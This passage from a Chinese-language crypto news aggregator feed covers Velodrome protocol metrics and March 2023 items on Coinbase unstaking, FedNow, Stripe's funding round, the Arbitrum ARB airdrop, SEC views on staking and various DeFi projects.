为了确保有足够的资源去支持贡献者并扩展其产品线，Velodrome 团队将 3%的永久排放量定向到团队的多重签名钱包。 Velodrome 财库中，93%的资产是 OP，价值4.45M美元，其次是 VELO，占比 3.27%，价值1.55M美元；然后是 USDC，占比 3.12%，价值1.48M美元。     OP 链上的交易量与 Velodrome 协议上的交易量相关，每次 OP 活跃时，都会带动此赛道的 Velodrome 上的交易量，且两者具有共同的利益。 VELO 代币持有人截止今日达到 29,858，上新高。 池子分享的交易费，其中 OP/USDC 占最大 24.5%，价值 2.8 万美元；其次是 USDC/SNX，占比 13.5%，价值 1.5 万美元；WETH/USDC，占比 13%；VELO/USDC，占比 11.4%。 根据投票所得费用年化率，最高是 USDC/USDT，APR 为 122.5%；第二名是 sUSD/LUSD，APR 为 112%；第三 DAI/MAI，APR 为 65%。改表还显示出，每 1 万个投票最高产生 258.81 美元的费用。 该图表示，30 天费用为 34.8 万美元，年化费用为 424 万美元，增长了 193%；30 天利润为 36.7 万美元，年化利润为 447 万美元，增长了 346%；用户日活量约为 2170，增长了 40%。 veVELO 持仓协议排行中，第一名 Beefy，数量为 23,835,589，比上期减少了 41,331 个；第二名是 Optimism，数量为 23,165,871，比上期减少了40,560；第三名 Revenant Labs，数量为 13,241,152，比上期增加了 17,504。 持仓情况： 第一持有人，占比 79.17%，数量为 696,129,202.29，用于 VELO 的锁仓； 第二持有人，占比 2.85%，数量为 24,818,071.56，VELO/USDC 的池子； 第三持有人，占比 0.75%，数量为 6,642,584.53，VELO/OP 的池子； 第四持有人，占比 0.67%，数量为 5,974,873.24，用于奖励分发。 第五持有人，占比 0.42%，数量为 3,698,658.82，抹茶的热钱包。 总结 Velodrome 借鉴了 Fantom 上去中心化交易所 Solidly 的经验，打造一个将 AMM 和整个金融平台都融入到单个协议的首选市场，简化交易流程，为用户提供更好的交易体验。 为了改进 Solidly 之前被头部几个协议控制的僵化情况，调整了 VELO 初始分配方式，构建了多样化的持有人，并和 OP 持有人利益绑定，充分调动了 OP 生态内的用户和资深的 DeFi 用户等，以共同完成冷启动。 贿赂的奖励模式也吸引了更多更有效的流动性，目前 1 美金的贿赂可带来 1.5-2 美金的 VELO 增发奖励。 因为在增发量上做出了改进，每周减少 1%，让 rebase 不会被过度保护，使收益能维持更长久，提升了对 LP 的奖励空间。 其 ve(3,3)机制打造出了一个正循环，也是理想中的飞轮： 通过贿赂带来更高的奖励，助于池子获得更多的流动性，达成冷启动-->拥有深度的流动性池子，可以降低滑点，吸引更多的交易者 --> 交易者多了，交易费奖励自然就高，加上贿赂的刺激，会吸引越来越多的 veVELO 持有者-->更多用户选择锁仓，就会保持稳定的流动性，不断将水位太高。 Velodrome 还计划在 2023 年，对 veVOLE（即 veNFT）有更深层次的利用，包括：veNFT的 可交易，可分割，可借贷等，让用户有更灵活的投资选择，也可能会用作新协议的收入来源。  ( 7 min )
    Coinbase将于以太坊Shapella升级后受理质押ETH提币请求，美国用户或需要缴税
    PANews 3月16日消息，Coinbase在博客文章中表示，在Shanghai-Capella（Shapella）升级到以太坊网络后的24小时后，Coinbase将开始受理取消质押请求。Coinbase指出，“取消质押的过程由以太坊协议控制，而我们只是一个通道，因此不清楚取消质押所需等候的准确时间。” 美国客户通过需要为升级前和升级后获得的任何奖励缴纳税款。对于持有质押的ETH(ETH2) 或cbETH的美国Coinbase客户，Coinbase将发布任何必需的1099-MISC，包括与这些资产相关的应税活动，这与一般税务指南一致。 此前消息，质押平台Lido表示，预计将等待5月中旬在完成链上代码审计后启动质押的ETH取款，以确保用户安全。  ( 4 min )
    美联储将于7月推出实时支付系统FedNow Service
    PANews 3月16日消息，据CoinDesk报道，美联储在声明中宣布，将于7月实时支付系统FedNow Service， 旨在解决机构间金融交易清算的现有延迟问题。该系统将于下月初开始对第一批参与者进行认证。FedNow Service将全天候运行，并提供即时、全面的资金访问权限。 报道称，FedNow也被视为央行数字货币 (CBDC) 的潜在先驱，尽管该服务也可能破坏数字美元的关键优势之一，即时转账的能力。美联储官员表示，该机构尚未就未来的美国CBDC做出任何决定，他们表示这需要国会、拜登政府和公众的支持。TD Cowen分析师Jaret Seiberg周三在一份客户报告中写道，该系统实际上可能对加密投资者有用，可以让他们“无需在交易平台上留下现金或数字美元即可为交易提供资金和兑现”。 不过，这个美联储的新交易系统并不是第一个，因为银行业已经推出了自己的RTP网络。这个类似的私营部门竞争对手自2017年以来一直在运营。  ( 4 min )
    支付巨头Stripe以500亿美元估值完成超65亿美元融资，较2021年估值下降47%
    PANews 3月16日消息，据CoinDesk报道，支付巨头Stripe以500亿美元的估值完成超65亿美元I轮融资，这比其2021年950亿美元的估值低了约47%。主要投资者包括现有Stripe股东Andreessen Horowitz、Baillie Gifford、Founders Fund、General Catalyst、MSD Partners和Thrive Capital，以及包括GIC、高盛资产和财富管理以及淡马锡在内的新投资者。高盛担任新一轮融资的独家配售代理，摩根大通担任财务顾问。 募集的资金将用于为现任和前任员工提供流动性，并解决与股权奖励相关的员工预扣税义务，导致Stripe股票的退役，这将抵消向第一轮投资者发行的新股。Stripe不需要这笔资金来运营业务。 去年11月，Stripe表示将裁员1000多人，占员工总数的14%，理由是通货膨胀、能源价格上涨和利率上升等宏观经济因素。  ( 4 min )
    Coinbase以不符合上市标准为由将暂停RLY、YFII等6种加密货币交易
    PANews 3月16日消息，Coinbase在推特上表示：“我们定期监控交易所的资产以确保它们符合我们的上市标准。根据最近的审查，将于美国东部时间2023年3月29日12:00（北京时间3月30日00:00）左右暂停Rally (RLY)、DFI Money (YFII)、Mirror (MIR)、OMG Network (OMG)、Loom Network (LOOM)和Augur (REP)的交易。届时，Coinbase.com、Coinbase Pro、Coinbase Exchange和Coinbase Prime的交易将暂停。用户资金仍然可以访问，并可以随时提取。”  ( 4 min )
    Scroll联创ETHDenver演讲：测试网最新进展及构建zkEVM、zk Rollup遇到的挑战
    演讲：Haichen Shen，Scroll 联合创始人 在 ETHDenver 的 Devtopia 舞台上，Scroll 的联合创始人 Haichen Shen 发表了主题为 Scroll 构建 zkEVM 和 zk Rollup 的挑战的演讲，并同步了最新 Alpha 测试网的情况。 Scroll 是一个 EVM 等效的 zk-Rollup 以太坊扩容方案 在演讲最开始，Haichen 强调了 Scroll 一直以来的原则，一是以社区驱动的方式同社区开放构建，二是确保安全性和稳定的版本发布，三是强调证明者和排序器去中心化的重要性 以下是 zkEVM 开发的社区贡献者，其中大多数来自于 Scroll 团队和 PSE 团队，还有一些其他的社区成员。 测试网最新进展 2 月 27 日，Scroll 在 Goerli 上线了 Alpha 测试网。Alpha 测试网目前已经是 EVM 等效的，证明已经可以在 Goerli 测试网上得到验证。 而 Alpha 测试网的发布，意味着 Scroll 已经达到了路线图的第三阶段。 下一步就是第四阶段：zkEVM 的主网上线。 对于社区关心的距离主网上线的进度，Haichen 公布了目前仍需要完成的任务，首先是要构建完整的 zkEVM 电路，目前还缺少一些不常见的错误约束，也还需要添加一些预编译合约。随后会进行 zkEVM 电路和跨链桥合约的审计，然后进行最后的优化。 构建 zkEVM 和 zkRollup 的挑战 演讲的后半部分，Haichen 分享了 Scroll 在构建 zkEVM 和 zkRollup 过程中遇到的挑战。主要从三个方面来说，第一是编写 zk 电路，第二是编写 zkEVM，第三是构建 zk-Rollup。 在编写 zk 电路中，主要有两个难点。其一是开发的逻辑，正常程序中根据输入 x，y，函数 foo 得到输出 z，而在 zk 电路中，则是根据输入 x，y，foo(x,y)，输出是否有效的判断，因此在 zk 电路中需要考虑到有效和无效的所有情况，确保电路的约束成立。 其二是有限域的操作，有限域是包含有限个元素的域，这些元素通常是素数。在所用的 BN-254 曲线中为 254 位的值，因此要表示 EVM 的 256 位，则需要拆解成两部分处理。 编写 zkEVM 在编写 zkEVM 中，Haichen 拆解了 zk 和 EVM 两个部分。EVM 中有三个组成部分，Executor, Stack, Memory。 zk 部分则需要对 EVM 的执行过程中进行一一的约束。EVM 电路将约束 Executor 正确执行；RAM 电路将约束 Stack，Memory 的读写正确；Bytecode 电路将约束 EVM 读取的 bytecode 的正确性；MPT 电路将约束存储的读写正确；TX 电路将约束交易的有效性；ECDSA 电路将约束交易中签名的正确性；Keccak 电路则将约束 Keccak 哈希函数的正确计算；还有其他的一些约束等等。所有这些约束组合在一起，就组成了 zkEVM。 构建 zk-Rollup 在构建 zk-Rollup 方面，去中心化证明者网络需要对证明者进行激励。 当后续去中心化排序器后，情况会变得更复杂，需要协调证明者网络和排序器网络，目前 Scroll 正在进行开放研究，欢迎有想法的开发者加入研究探讨。  ( 5 min )
    NFT市场Formfunction宣布将于3月29日关闭，一年前曾完成470万美元融资
    PANews 3月16日消息，据官方博客，Solana生态NFT市场Formfunction宣布将于3月29日关闭，用户仍然拥有NFT的完全所有权。Formfunction称：“经过多方讨论和慎重考虑，我们得出的结论是不能继续运行Formfunction。我们将继续维护 Formfunction 直到3月29日。该日期之后，用户将无法再访问我们的网站。” 据悉，Formfunction于2022年2月推出，并在次月宣布完成470万美元种子轮融资，Variant Fund领投，OpenSea Ventures、Solana Ventures、Pear VC、Canonical Crypto和Palm Tree Crew Crypto等参投。  ( 4 min )

  • Open

    Arbitrum 将于 3 月 23 日空投治理代币 ARB 并过渡到 DAO
    Arbitrum 将于 3 月 23 日空投治理代币 ARB 并过渡到 DAO Arbitrum 基金会宣布其治理代币 ARB 将于 3 月 23 日空投给社区成员，快照日期为 2023 年 2 月 6 日。ARB 总发行量为 100 亿枚，Arbitrum 社区将控制代币总量的 56%。其中，将向符合条件的 Arbitrum 用户空投总供应量的 11.5%，向在 Arbitrum 生态系统中运营的 DAO 提供 1.1%，其余部分将进入由 Arbitrum DAO 控制的金库，这将允许 ARB 持有者投票决定如何分配资金。ARB 总供应量的另外 44% 将流向 Arbitrum 的开发公司 Offchain Labs 的投资者和员工，这部分代币将受到锁定期和归属时间表限制。 根据 Arbitrum 基金会的说法，ARB 将标志着 Arbitrum 正式过渡到去中心化自治组织 (DAO)，这意味着 ARB 持有人将能够对管理 Arbitrum One 和 Arbitrum Nova 的关键决策进行投票。 内容来源 观点： ChainFeeds：空投资格查询及代币领取地址：https://arbitrum.foundation/ 内容来源 ChainFeeds：空投资格及分发规范文档：https://docs.arbitrum.foundation/airdrop-eligibility-distribution 内容来源 TheModestThief 神偷：我们对 ARB 预期价格进行了一些计算，假如初始流通为总量的 12.75%，ARB 和 OP 及 MATIC FDV 相似，但预计会稍微低一点，我们得出结论 ARB 预期价格为 1.74 美元。【原文为英文】 内容来源 100y.eth💜 | a41：因为 ARB 是治理代币，我将其与其他治理代币例如 OP、UNI、LIDO、COMP 和 AAVE 进行了比较，根据 MC/TVL 比率，ARB 代币的合理价格在 0.26 至 1.56 美元之间，如何直接和 OP 做比较，1.04 至 1.56 美元也是有可能的。【原文为英文】 内容来源 CapitalismLab：对标 OP，我认为 ARB 流通市值在 8 亿美元左右，全流通市值预计在 105 亿美元左右。且 Arbitrum 在未有激励的情况下 TVL 已为 OP 的 1.7 倍，如果是 OP 2 倍 FDV，ARB 对应价格预计为 2.1 美元左右。 内容来源 杀破狼 killthewolf.eth：我们整理了 ARB 多种估值方式汇总，方便大家对 ARB 的二级价格进行预判，例如你觉得 ARB 值 OP 流通市值的 1.5 倍的话，则 0.6 x 1.5 = 0.9。 内容来源 匿名博士：根据 ARB 及 OP 公开信息，我们用 AI 做了一个简易估值模型标，预期其合理价格区间在 0.6 至 1.2 美元左右，FOMO 状态下能到 2 美元以上。 内容来源  ( 68 min )
    自托管钱包 Soul Wallet 完成 300 万美元种子轮融资
    自托管钱包 Soul Wallet 完成 300 万美元种子轮融资 自托管钱包 Soul Wallet 宣布完成 300 万美元种子轮融资，用于提供基于 ERC-4337 构建的在线自托管以太坊钱包。Soul Wallet 目前正在进行内部测试，并计划将在经过一系列严格审核后于第三季度或第四季度推出。 据悉，Soul Wallet 联合创始人 Jiajun Zeng 此前曾是字节跳动和美团产品经理。 内容来源 观点： Jiajun Zeng（Soul Wallet 联合创始人）：FTX 崩溃后，人们正在重新关注如何在自托管钱包上获得更好的用户体验。我们的目标是下一个十亿的加密货币采用者，而不是试图从 MetaMask 等公司抢走用户。在南美和非洲等发展中国家，人们使用加密货币来对冲货币通胀，因此这取决于加密货币的采用如何在这些地区传播。而对于发达国家而言，采用则取决于 dApps 和 NFT 的发展情况。【原文为英文】 内容来源  ( 37 min )
    美 SEC 主席再发声：权益证明代币属于证券，「建议」寻求合规
    Chainfeeds 导读： 美国交易委员会（SEC）主席 Gary Gensler 表示，根据美国法律，权益证明代币应被视为证券。对此，Odaily 星球日报作者念银思唐发文梳理监管各方观点以及 SEC 针对加密货币交易所 Kraken 采取的行动。 文章来源： https://www.odaily.news/post/5185787 文章作者： 念银思唐 观点： 念银思唐：上周，CFTC 主席 Rostin Behnam 表示不同意 SEC 主席 Gary Gensler「除比特币外所有加密货币都应归类为证券」的说法。他认为以太坊和稳定币属于商品，而非证券。Behnam 还称，他希望与 SEC 合作以寻求协调机会，但 CFTC 尚未收到如何区分商品与证券的法律指导。本周三，Gensler 在被问及对 Behnam 的声明有何反应时表示，根据美国法律，使用质押协议的代币（即权益证明代币）应被视为证券。 内容来源 念银思唐：上个月，SEC 宣布加密货币交易所 Kraken 需「立即」结束向美国客户提供的加密质押即服务，并向 SEC 支付 3000 万美元罚款，以解决针对其提供未注册证券的指控。对此，Kraken 表示将自动解除美国客户质押的以太坊以外的其它资产，以太坊质押将在上海升级生效后解除，美国客户将无法质押新资产（包括以太坊），双方达成和解。 内容来源 念银思唐：如果加密货币公司想要在美国近来掀起的监管浪潮中生存下来，可能不得不听从 Gensler 的「建议」寻求合规，否则就只能像 Kraken 一样「断臂求生」，亦或者是索性离开美国市场，在全球范围内寻找更加友好的加密中心，比如新加坡、中国香港等。 内容来源  ( 5 min )
    【英文长推】观点：LUSD 的供应量无法大规模扩展
    Chainfeeds 导读： 加密研究员 nour 认为 LUSD 的供应量无法像 DAI 和 USDC 一样大规模扩展，这不是因为 LUSD 设计不当，而是源于稳定币所面临的困境。nour 从预言机、定价机制等几方面阐述这一想法的原因。 文章来源： https://twitter.com/NourHaridy/status/1636187163313201159 文章作者： nour 观点： nour：大多数人只是基于自己的持仓在去中心化稳定币的竞赛中挑选某一代币，很少有人愿意完全理解稳定币问题的复杂性。这不同于 DeFi 中的其他问题，因为在一个看似简单的产品（1 美元硬币）下，隐藏着大量艰难的权衡和决策：从预言机选择，到抵押品选择，到参数化，到利率模型，到治理，再到清算机制。【原文为英文】 内容来源 nour：LUSD 的预言机是 Chainlink，这可以说是一个中心化的单点故障。它还有 Tellor 作为第二预言机后备，但只有在 Chainlink 停止报告时，才会切换至 Tellor。此外，LUSD 最根本的价值是其最大限度的去中心化。然而，这种去中心化也是导致它落后于竞争的原因。【原文为英文】 内容来源 nour：定价方面，LUSD 并不是免费的，即使没有利息，但 Liquity 会收取初始费用作为债务的一部分支付方式。事实上，借入 LUSD 的过高成本可能是其主要的扩展障碍。本质上，如果持有债务的时间足够长，它就会免费，但问题是美元挂钩对这种定价方案的影响。在需求低时，协议无法激励借款人还款。而需求高时，也无法激励挂钩套利者贷款，因为他们需要为短期贷款支付初始费用，然后以 LUSD 挂钩偏差的形式计入价格上行。【原文为英文】 内容来源  ( 2 min )
    美国破产法官驳回美国政府暂停 Binance.US 收购 Voyager 的请求，交易已延长至 3 月 20 日
    美国破产法官驳回美国政府暂停 Binance.US 收购 Voyager 的请求，交易已延长至 3 月 20 日 美国破产法官在周三的一份法庭文件中裁定，Binance.US 出价 10 亿美元收购 Voyager 的资产的交易应该继续进行，驳回了美国政府提出的在上诉期间暂停程序的请求，称拖延会损害 Voyager 客户的利益。据 Voyager 同意的另一项协议，原定于 3 月 15 日生效的 Binance.US 收购交易已延长至 3 月 20 日。 内容来源  ( 66 min )
    消息人士：FDIC 计划于 3 月 17 日拍卖 SVB 和 Signature Bank，Signature 买家必须同意放弃所有加密业务
    消息人士：FDIC 计划于 3 月 17 日拍卖 SVB 和 Signature Bank，Signature 买家必须同意放弃所有加密业务 据路透社援引消息人士报道，美国联邦存款保险公司 （FDIC）已要求有意收购破产的硅谷银行和 Signature Bank 的银行在 3 月 17 日之前提交投标书。消息人士称，FDIC 的目标是将 SVB 和 Signature 整体出售，如果不能整体出售，则可以考虑对这两家银行的部分股权进行收购。消息人士还表示，只有拥有现有银行牌照的投标人才能在提交报价前研究银行的财务状况。另外，Signature 买家必须同意放弃银行的所有加密业务。 内容来源 观点： Haseeb Qureshi（Dragonfly 合伙人）：我曾持怀疑态度，但这似乎是确凿的证据：FDIC 正在专门针对加密货币银行业务。【原文为英文】 内容来源  ( 16 min )
    【英文长推】详解 Gearbox V3：重新定义杠杆利效应？
    Chainfeeds 导读： Gearbox 的 V3 升级代码目前正在进行审计，可能会在第二季度末敲定发布日期。加密研究员 slappjakke.eth 撰文解析了杠杆效应的重要性、Geabox 是什么及 Geabox V3 存在哪些变化等内容。 文章来源： https://twitter.com/Slappjakke/status/1636018174553636864 文章作者： slappjakke.eth 观点： slappjakke.eth：1）代码库：Gearbox V3 升级没有改变 V2 中使用的核心代码库，但带来了更多的可组合性和可能性；2）Gearbox V3 为更多的外来资产创建了一个被称为「Alpha Pool」的被动贷款池，可以选择从主池中获取 dToken，并将为贷款人愿意承担的额外风险支付额外年利率；【原文为英文】 内容来源 slappjakke.eth：3）允许列表中的资产存在限制，这将允许多链部署及与新协议和资产类别的整合，可以增加总限额为 100 至 200 万美元的流动性池子，所有限额由 DAO 决定；4）用户可以为想借出的资产设置一个以相关资产计价的配额；5）借款人需要根据其配额代销支付额外的配额年利率，这允许 Gearbox 对高风险的池子收取更高的利息；【原文为英文】 内容来源 slappjakke.eth：6）将通过链上投票设定配额利率；7）Gearbots：不可变自动化合约，允许合约账户持有者将一些任务委托给第三方进行自动化操作；8）新的集成和更新：集成 Balancer 和 Aura、支持 Curve 池自、MIM 池和 cbETH 部署、更新了图表 DApp 和分析面板及优化了界面中的清算价格。【原文为英文】 内容来源  ( 2 min )
    【英文长推】5 个值得关注的真实收益项目：Pendle、Liquity、FactorDAO…
    Chainfeeds 导读： DeFi 已经被破坏，但 GMX 等项目开创的真实收益（Real Yield）会解决这个问题。Crypto Pragmatist 创始人 Jack Niewold 发推介绍 5 个值得关注的可持续的真实收益项目：Arcadeum、Pendle、Liquity、FactorDAO 和 Radiant。 文章来源： https://twitter.com/JackNiewold/status/1635766032982736898 文章作者： Jack Niewold 观点： Jack Niewold：1）Arcadeum：采用 GMX 的 GLP 模式构建了一个完整的 GambleFi 生态，其产品有：体育竞猜、扑克游戏、转盘游戏和 1000 倍杠杆交易。ALP 机制可以让用户为生态本身提供流动性，保证了 ALP 的盈利；2）Pendle：用户可以以固定利率卖出未来收益，将其立刻转化成基础资产；【原文为英文】 内容来源 Jack Niewold：3）LiquityProtocol：即使在巨大的稳定币波动中，LUSD 的锚定表现也惊人的好，依旧保持着去中心化和不受监管。在这个协议的设计框架下，生态所有参与者都要向 LQTY 持有者支付借贷费用和清算后的多余资金；4）FactorDAO：通过向资产持有者收取管理费获得真实收益，持有人将赚得一部分协议收费和激励奖励；【原文为英文】 内容来源 Jack Niewold：5）Radiant：一个类似银行的跨链货币市场：储户可以从借贷者处赚取利息，借贷者可以跨链寻求资金。采用超额抵押借贷，平台利息随着各种资产的需求程度进行波动。RDNT 持有者可以通过借贷利息、平台费用和对过早卖出 RDNT 的罚款几种方式获得真实收益。【原文为英文】 内容来源  ( 2 min )
    USDC 脱锚事件后的 DeFi 未来，「链上金融」or 完全去中心化？
    Chainfeeds 导读： USDC 脱锚引发了市场对 DeFi 未来发展的重大担忧和质疑。由于 DeFi 生态系统严重依赖 USDC，因此评估未来的潜在解决方案至关重要。加密研究员 Igans 发推分析两种可能的方向：将 DeFi 重新定义为「链上金融」（on-chain finance），或全面拥抱去中心化。中文版由 Foresight News 编译发布。 文章来源： https://foresightnews.pro/article/detail/28263 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：DeFi 项目必须在提供去中心化优势和应对监管合规复杂性之间保持微妙平衡。DeFi 的所有元素和协议可能永远无法完全实现去中心化或抗审查，因此将 USDC 这类代币视为风险资产，将 DeFi 视为「链上金融」，可以帮助解决这种困惑和道德困境。通过将 DeFi 更名为「链上金融」，行业可以在承认中心化的同时保持关键优势，如自我监管、流动性增加（买方市场扩大）、可组合性增强（新金融产品）、单一数据来源（降低对账成本）。 内容来源 Ignas | DeFi Research：第二个选择是让 DeFi 社区移除中心化元素，变得像比特币一样去中心化。这将涉及用比特币或以太坊这样的抗审查抵押品取代 USDC，如 Liquity 的 LUSD、Maker 的 DAI 和 Tornado Cash 等项目。然而，即使是具有去中心化特性的 LUSD，也依赖于价格预言机，极端情况下可能会被操纵。这凸显了 DeFi 项目在追求完全去中心化的同时，为其用户确保安全性和可靠性所面临的持续挑战和复杂性。 内容来源 Ignas | DeFi Research：DeFi 可能会像现在的互联网一样，同时朝着两个方向发展：虽然大多数用户通过受监管的服务访问互联网，但追求隐私的个人可以使用暗网来提高匿名性。DeFi 协议可能存在着不同程度的去中心化和监管合规性。只有接受这种理解，DeFi 社区才可以努力构建一个更具弹性和透明度的生态系统。 内容来源  ( 7 min )
    【英文长推】盘点 DeFi 新项目：OpenPeer，BaseDex，MantleSwap...
    Chainfeeds 导读： DeFi 协议在不断发展，新项目层出不穷。加密货币 KOL toffee24.eth 整理总结了 5 个最新的 DeFi 项目，包括 DEX，流动性质押协议等。 文章来源： https://twitter.com/toffee248/status/1636023896679018496 文章作者： toffee24.eth 观点： toffee24.eth：1）OpenPeer 是一种自我托管的点对点 (P2P) 交易所，允许用户以零费用直接在钱包中买卖加密货币。旨在提供一种解决方案，以解决世界上许多地方无法使用传统入口购买加密货币，以及与 P2P 交易相关的高额费用和不可靠托管的问题。【原文为英文】 内容来源 toffee24.eth：2）BaseDex 正在 Coinbase 孵化的以太坊 L2 平台 BuildOnBase 上开发 DEX 。 DEX 将有 0% 的交易费用和聚合器技术以获得最优惠的价格。BaseDex 的 DEX 技术完全由 Coinbase 支持，用户可以在未来几周内关注测试网和主网发布的更新。【原文为英文】 内容来源 toffee24.eth：3）MantleSwap 是建立在 Mantle Network 上的社区治理的 DEX。旨在通过提供可组合和可扩展的产品来支持在网络上启动的新协议和项目，成为 Mantle Network 的原生 DEX。【原文为英文】 内容来源  ( 2 min )
    FileCoin 重大升级，翻身打破以太坊主导的公链格局？
    Chainfeeds 导读： 3 月 14 日 Filecoin 虚拟机（FVM）在主网上线，FVM 上线热度会是昙花一现，还是会给 Filecoin 带来深远影响？白话区块链作者大圣 Web3 从引入 FVM 的原因、影响、应用等角度介绍了 FVM。 文章来源： https://www.hellobtc.com/kp/du/03/4077.html 文章作者： 白话区块链 观点： 白话区块链：引入 FVM 之后，为 filecoin 带来了极大的可编程性，可类比以太坊诞生，一个支持智能合约的平台可添加几乎能够想象到的全部应用，同时基于 filecoin 的存储数据可计算的功能。引入智能合约，开发者可以开发其他公链常见的 DeFi，GameFi，NFT 应用，生态有望爆炸性发展；基于 Filecoin 自身的数据存储特点，FVM 生态可构建的更复杂产品。 内容来源 白话区块链：FVM 解锁了哪些应用？1）数据 DAO。FVM 使得实现数据 DAO 成为现实的所有要素成为可能。2）永久储存。在链上自主运行的无许可代码可以保证存储的持续和更新，由于内容寻址，没有修改或更改底层数据集的风险。3）去中心化计算。FVM 参与者可以代理计算资源、激励计算执行、在可用存储提供商之间分配工作负载，并证明计算结果的有效性以获得奖励。 内容来源  ( 2 min )
    Mirror 的 Subscribe to Mint 能否改变 Web3 创作者经济的困局？
    Chainfeeds 导读： Mirror 推出的新功能 Subscribe to Mint，可以帮助创作者们将自己订阅者们的身份转化成持有人，从而帮助创作者们创造出一个积极参与的 Web3 社区。BlockBeat 作者 Jaleel 就 Subscribe To Mint 能否帮助 Mirror 突破变现难题展开讨论。 文章来源： https://www.theblockbeats.info/news/35625 文章作者： BlockBeats 观点： BlockBeats：截至 2022 年底，Mirror 创收占比最大的两个模块是众筹和拍卖功能，写作 NFT 则仅有 210.43 ETH，占比 2%。写作 NFT 并没有为创作者带来可观收益，创收主体依旧是众筹事件。写作 NFT 功能遇冷的最大问题，在于所有权和社交属性的模糊设计。 内容来源 BlockBeats：基于 Subscribe to Mint 功能，收藏家需要使用他们的电子邮件订阅创作者的 Mirror 出版物，为创作者引导一个沟通渠道，以定期与收藏家互动。使创作者变得更强大的同时也能使创作者和社区的联结更深入。通过对 web3 上的大大小小的项目进行新功能测试，已经可以证明 Subscribe to Mint 的成功。 内容来源
    【英文长推】解读收益交易：如何通过 Pendle 实现收益率最大化？
    Chainfeeds 导读： 收益交易其实是一个很简单的概念。加密研究员 ipor_intern 以 Pendle 为例，解读了什么是收益交易，Pendle V2 AMM 有什么特别之处，又是如何实现收益交易的？并给出了四种可利用的收益交易策略。 文章来源： https://twitter.com/ipor_intern/status/1635979419457298441 文章作者： ipor_intern 观点： ipor_intern：收益交易就是通过一些策略增加或减少你对相关收益率的风险。例如 Pendle 允许用户折价购买资产，做多做空收益率及低风险固定收益。这是通过剥离收益来实现的，用户将收益资产存入协议后被分为两个部分：本金（PT）和基础资产收益（YT）。通过持有 PT，用户可以在到期后赎回本金，通过持有 YT，用户持续收到收益。【原文为英文】 内容来源 ipor_intern：AMM 专为交易收益率设计的，允许用户利用 PT 和 YT 的行为。单 PT/SY（PT + YT） 池中，用户可以针对基础资产买入或卖出 PT 从而促进 YT 和 PT 之间的互换。AMM 随着时间的推移，收益的多少而变化，并在接近到期时缩小 PT 价格范围。且 Pendle V2 AMM 是以 Notional AMM 为模型，允许为每个池子设置两个自定义参数：标量根和初始速率锚，可以将流动性集中在特定范围内。【原文为英文】 内容来源 ipor_intern：策略：1）购买 PT 对冲收益风险，将 APY 锁定在当前隐含收益的方式，保证在到期后获得相关资产；2）购买 YT 增加对相关资产的收益风险，可选择任何时候出售；3）在持有 PT 和持有 YT 之间切换以让相关资产年收益率最大化；4）向 Pendle 池子提供流动性以从互换费用和奖励中获得额外收入。【原文为英文】 内容来源  ( 2 min )
    深挖链上数据，Arbitrum 的收入和资金流向了哪些协议？
    Chainfeeds 导读： 为了深入了解 Arbitrum 的收入和资金流向，数据分析师 Defi_mochi 使用数据开发工具 Flipside 分析了所有 DefiLlama 上 Arbitrum 的数据。本文由 Odaily 整理编译。 文章来源： https://www.odaily.news/post/5185759 文章作者： Odaily 观点： armnio.eth：根据 DefiLlama 数据，Arbitrum 的手续费市场份额有 70% 被 GMX 压倒性地占据，Gains Network 在 12 月下旬推出后也已经占据了 7% 的手续费。Arbitrum 自己收取的费用占比 11.25% 内容来源 Odaily：根据 DefiLlama 数据，Arbitrum 的手续费市场份额有 70% 被 GMX 压倒性地占据，Gains Network 在 12 月下旬推出后也已经占据了 7% 的手续费。Arbitrum 自己收取的费用占比 11.25% 内容来源 Odaily：根据 Arbitrum 上的每个协议的月度费用数据表发现：Lyra，与 GMX 集成的期权协议，上个月，它的费用增加 276% 。 ZyberSwap，结合 Uniswap V2 和 Curve 的 DEX ，上个月费用增加 556%。Arbitrum，上个月费用增加 114%。 内容来源  ( 6 min )
    【长推】观点：Eigenlayer 加强了本就是长板的安全，却没有提供短板的解决方案
    Chainfeeds 导读： Eigenlayer 是下一个 degen 项目，还是又一个宏大的假故事？其创始团队在 a16z 的平台上发了关于罚没经济学（slash）的论文，宣扬采用 ETH 来保卫网络安全，引起了市场的关注。加密货币 KOL armnio.eth 认为 Eigenlayer 解决的安全问题不是刚性的。 文章来源： https://twitter.com/armonio_liang/status/1634777326767439872 文章作者： armnio.eth 观点： armnio.eth：安全问题是水桶效应。一个产品的安全性是由其最短板决定的，而非最长的。目前区块链产品安全的短板不在共识层。PoS 链运行已久，在黑客事件高发的区块链世界，我们可曾见过一起链级的安全事故？因为 PoS 链上资产的安全的实现是通过一系列机制，我们常出的安全问题不来自于节点作恶。 内容来源 armnio.eth：因此 Eigenlayer 加强了本就是长板的安全，却没有提供短板的解决方案。虽然，我们知道安全的问题服从墨菲定律，有可能发生，就一定发生。但从目前的实际情况看，它解决的问题不是刚性的。 内容来源  ( 2 min )
    加密货币安全公司 Staging Labs 完成 110 万美元融资
    加密货币安全公司 Staging Labs 完成 110 万美元融资 据 TechCrunch 报道，加密货币安全公司 Staging Labs 完成 110 万美元融资参投方包括 The General Partnership、Flourish Ventures、NGC Ventures、AlphaGrep、Gaingels、a16z、Kleiner Perkins 和 Greylock，个人投资者包括来自 ConsenSys、Coinbase、Anchorage Digital、Chainalysis、QuickNode、Merkle Science 等的投资人。 Staging Labs 推出了安全产品 Saferoot，该产品能够在发现有风险的交易时自动将钱包内资产转移至备份安全钱包。Staging Labs 计划向用户收取订阅费和成功追回的资产的一定比例来获取收入。 内容来源  ( 26 min )
    【长推】聊聊闪电网络架构上合理性及前景
